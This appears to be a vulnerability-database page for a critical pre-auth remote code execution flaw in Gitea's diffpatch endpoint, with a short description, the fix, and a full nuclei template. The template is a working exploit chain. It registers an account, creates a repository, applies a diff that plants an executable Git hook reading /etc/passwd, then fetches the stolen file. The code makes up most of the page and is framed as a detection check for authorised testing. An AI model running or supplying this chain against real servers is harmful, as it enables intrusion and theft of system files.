HexBrain

Browse / CVEs / CVE-2026-60004

CVE-2026-60004· go-gitea / gitea· CWE-94

Gitea <= 1.27.0 - Pre-Auth Remote Code Execution

Exploited in the wild. Listed by CISA on 2026-08-25; known to be used by ransomware.

criticalseverity
9.8CVSS score
24%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access.

Impact

Attackers can execute arbitrary commands as the Gitea service account, potentially compromising the entire server and all hosted repositories.

Fix

Update to Gitea version 1.27.1 or later.

How to confirm it

Send: GET /user/sign_up
Positive when: status_code == 200 and contains(body, "user_name") || contains(body, "sign_up")
Send: POST /user/sign_up
Positive when: status_code == 200 || status_code == 302 || status_code == 303
Send: POST /api/v1/user/repos
Positive when: status_code == 201
Send: GET /api/v1/repos/{{ruser}}/{{rrepo}}/branches/main
Positive when: status_code == 200 and len(branch_sha) > 0
Send: POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch
Positive when: status_code == 201 and len(commit_sha1) > 0
Send: POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch
Positive when: status_code == 201
Send: GET /api/v1/repos/{{ruser}}/{{rrepo}}/raw/proof?ref=rce-proof
Positive when: status_code == 200 and contains(body, "root:")

Run it with nuclei: nuclei -id CVE-2026-60004 -u <target>

The full check
id: CVE-2026-60004

info:
  name: Gitea <= 1.27.0 - Pre-Auth Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    Gitea versions 1.17 through 1.27.0 contain a remote code execution vulnerability in the diffpatch endpoint caused by an add/add collision that writes an executable Git hook into the bare repository's GIT_DIR. An attacker with write access can execute arbitrary commands as the Gitea service account, exploit requires only open registration for unauthenticated access.
  impact: |
    Attackers can execute arbitrary commands as the Gitea service account, potentially compromising the entire server and all hosted repositories.
  remediation: |
    Update to Gitea version 1.27.1 or later.
  reference:
    - https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
    - https://github.com/EQSTLab/CVE-2026-60004
    - https://nvd.nist.gov/vuln/detail/CVE-2026-60004
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-60004
    epss-score: 0.23988
    epss-percentile: 0.97856
    cwe-id: CWE-94
  metadata:
    max-request: 9
    verified: true
    vendor: go-gitea
    product: gitea
    shodan-query: "Gitea"
    fofa-query: app="Gitea"
  tags: cve,cve2026,gitea,rce,intrusive,kev,vkev

variables:
  ruser: "testpoc{{rand_int(10000,99999)}}"
  rpass: "T3stP0c!{{rand_int(10000,99999)}}"
  remail: "testpoc{{rand_int(10000,99999)}}@test.local"
  rrepo: "poc-{{rand_int(10000,99999)}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)

http:
  - raw:
      - |
        GET /user/sign_up HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "user_name") || contains(body, "sign_up")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="_csrf"\s+content="([^"]+)"'
          - 'name="_csrf"\s+value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /user/sign_up HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{csrf}}&user_name={{ruser}}&email={{remail}}&password={{rpass}}&retype={{rpass}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302 || status_code == 303'
        internal: true

  - raw:
      - |
        POST /api/v1/user/repos HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

        {"name":"{{rrepo}}","private":true,"auto_init":true,"default_branch":"main"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
        internal: true

  - raw:
      - |
        GET /api/v1/repos/{{ruser}}/{{rrepo}}/branches/main HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(branch_sha) > 0'
        condition: and
        internal: true

    extractors:
      - type: json
        name: branch_sha
        json:
          - '.commit.id'
        internal: true

  - raw:
      - |
        POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

        {"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+  /*) ;;\n+  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-1", "branch": "main", "sha": "{{branch_sha}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
          - 'len(commit_sha1) > 0'
        condition: and
        internal: true

    extractors:
      - type: json
        name: commit_sha1
        json:
          - '.commit.sha'
        internal: true

  - raw:
      - |
        POST /api/v1/repos/{{ruser}}/{{rrepo}}/diffpatch HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

        {"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..c205f89dc5a73d8094236a8ef700126084893a73\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,14 @@\n+#!/bin/sh\n+git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n+origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\n+case \"$origin_objects\" in\n+  /*) ;;\n+  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\n+esac\n+origin_git=${origin_objects%/objects}\n+[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\n+output_blob=$(cat /etc/passwd 2>&1 | git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\n+tree=$(printf \"100644 blob %s\\\\tproof\\\\n\" \"$output_blob\" | git --git-dir=\"$origin_git\" mktree) || exit 5\n+commit=$(printf \"rce proof\\\\n\" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\n+git --git-dir=\"$origin_git\" update-ref refs/heads/rce-proof \"$commit\" || exit 7\n+exit 0\n", "message": "apply-2", "branch": "main", "sha": "{{commit_sha1}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
        internal: true

  - raw:
      - |
        GET /api/v1/repos/{{ruser}}/{{rrepo}}/raw/proof?ref=rce-proof HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(ruser + ":" + rpass)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "root:")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"CVE-2026-60004 RCE | Gitea | /etc/passwd: " + body'

References

Use this check only on systems you are authorised to test. Where the data comes from